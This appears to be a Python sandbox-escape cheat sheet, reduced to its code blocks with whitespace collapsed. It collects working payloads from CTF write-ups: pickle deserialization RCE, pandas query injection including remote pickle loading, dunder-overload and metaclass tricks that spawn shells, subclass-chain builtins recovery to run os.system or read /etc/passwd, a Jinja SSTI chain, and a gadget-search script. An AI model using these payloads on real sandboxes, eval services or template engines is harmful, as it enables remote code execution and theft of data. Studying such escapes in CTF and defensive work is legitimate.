#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
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# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
Builtins payloads
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
#os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element):SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)):check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...")total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...")total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...")total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
# Another examples ='''a = 5b = 'text'def f(x):return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
defget_flag(some_input):var1=1var2="secretcode"var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount,co_nlocals, co_stacksize, co_flags,co_code, co_consts, co_names,co_varnames, co_filename, co_name,co_firstlineno, co_lnotab, freevars=None,cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag